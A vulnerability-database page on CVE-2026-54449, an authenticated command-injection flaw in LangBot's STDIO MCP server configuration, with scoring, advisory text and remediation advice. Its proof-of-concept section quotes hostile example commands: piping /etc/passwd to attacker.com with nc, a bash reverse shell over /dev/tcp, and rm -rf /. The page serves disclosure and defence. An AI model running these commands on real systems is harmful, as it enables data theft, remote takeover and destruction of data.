What is the CVSS score of CVE-2026-54449?

CVE-2026-54449 has a CVSS 3.1 base score of 8.8 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.4%.

Which versions of LangBot are affected by CVE-2026-54449?

LangBot (pip package, versions ≤4.10.5) contains a remote code execution vulnerability affecting any user with valid credentials to the system, allowing complete system takeover.

Is there a public PoC exploit available for CVE-2026-54449?

Yes, a public proof-of-concept exploit is available for CVE-2026-54449. Prioritise patching immediately. EPSS: 0.4%.

How to fix or mitigate CVE-2026-54449?

Within 24 hours, identify all systems running LangBot ≤4.10.5 and isolate or restrict their network access pending remediation. Within 7 days, remove LangBot from production as no vendor patch is available; simultaneously audit access logs and command histories for unauthorized activity. Within 30 days, complete credential rotation for affected user accounts, implement enhanced monitoring for MCP extension registration attempts, and conduct a comprehensive security review of any systems that previously ran LangBot.

LangBot CVE-2026-54449

EUVD-2026-63480 HIGH

Command Injection (CWE-77)

2026-07-15 https://github.com/langbot-app/LangBot

GHSA-3pvh-63gf-j9mw PYSEC-2026-3473

RCE Command Injection

8.8

CVSS 3.1 · Vendor: https://github.com/langbot-app/LangBot

Severity by source

Vendor (https://github.com/langbot-app/LangBot) PRIMARY

8.8 HIGH

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

vuln.today AI

8.8 HIGH

Network-reachable UI, low complexity, no user interaction; requires any authenticated account (PR:L), and arbitrary command execution yields full host compromise (C:H/I:H/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/langbot-app/LangBot).

CVSS VectorVendor: https://github.com/langbot-app/LangBot

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jul 15, 2026 - 18:05 vuln.today

Analysis Generated

Jul 15, 2026 - 18:05 vuln.today

CVE Published

Jul 15, 2026 - 17:39 github-advisory

HIGH 8.8

DescriptionCVE.org

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

Open the LangBot server
Navigate to Extensions
Open the "MCP" tab and press "Add"
Choose an STDIO server configuration
Add any arbitrary command with arguments

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

AnalysisAI

Authenticated remote code execution in LangBot (pip package 'langbot', versions <= 4.10.5) allows any logged-in user to run arbitrary OS commands on the host by registering a malicious 'STDIO' MCP server through the Extensions > MCP configuration UI. Because LangBot passes the user-supplied command straight to the MCP SDK's StdioServerParameters, which spawns it as a subprocess, an attacker who signs up or uses stolen credentials gains full host takeover. A step-by-step and video proof-of-concept is public (publicly available exploit code exists), though there is no confirmed active exploitation.

Technical ContextAI

LangBot is a Python-based multi-platform LLM chatbot/agent platform that integrates external tools via the Model Context Protocol (MCP). In src/langbot/pkg/provider/tools/loaders/mcp.py it imports StdioServerParameters from Anthropic's open-source 'mcp' SDK; for an STDIO transport, MCP is designed to launch a local child process whose command and arguments come from the server configuration. LangBot exposes this configuration to authenticated end users without restricting or sanitizing the command field, so the design-intended subprocess spawn becomes an arbitrary command-execution primitive. The root cause maps to CWE-77/CWE-78 (OS Command Injection): trusting user-controlled input as an executable command. The affected package is identified by CPE/PURL pkg:pip/langbot.

RemediationAI

No vendor-released patch identified at time of analysis - the advisory lists the fixed version as None, so upgrading is not yet an option and compensating controls are required. Remove LangBot from public internet exposure and place it behind a VPN or IP allowlist so only trusted operators can reach the management UI, since the flaw requires only low-privileged authentication. Disable self-service account registration and enforce strong, unique credentials plus MFA to prevent trivial attacker sign-up or credential-stuffing abuse of the PR:L barrier. Restrict or remove access to the Extensions > MCP configuration feature for non-administrative users, and where possible avoid enabling STDIO-type MCP servers; if STDIO MCP is not needed, block that transport entirely. Run the LangBot process as a low-privileged, sandboxed/containerized user with a read-only filesystem and no outbound network egress to limit the blast radius of any command execution (trade-off: may break legitimate outbound tool integrations). Monitor for the advisory at https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw and apply the official fixed release as soon as it is published.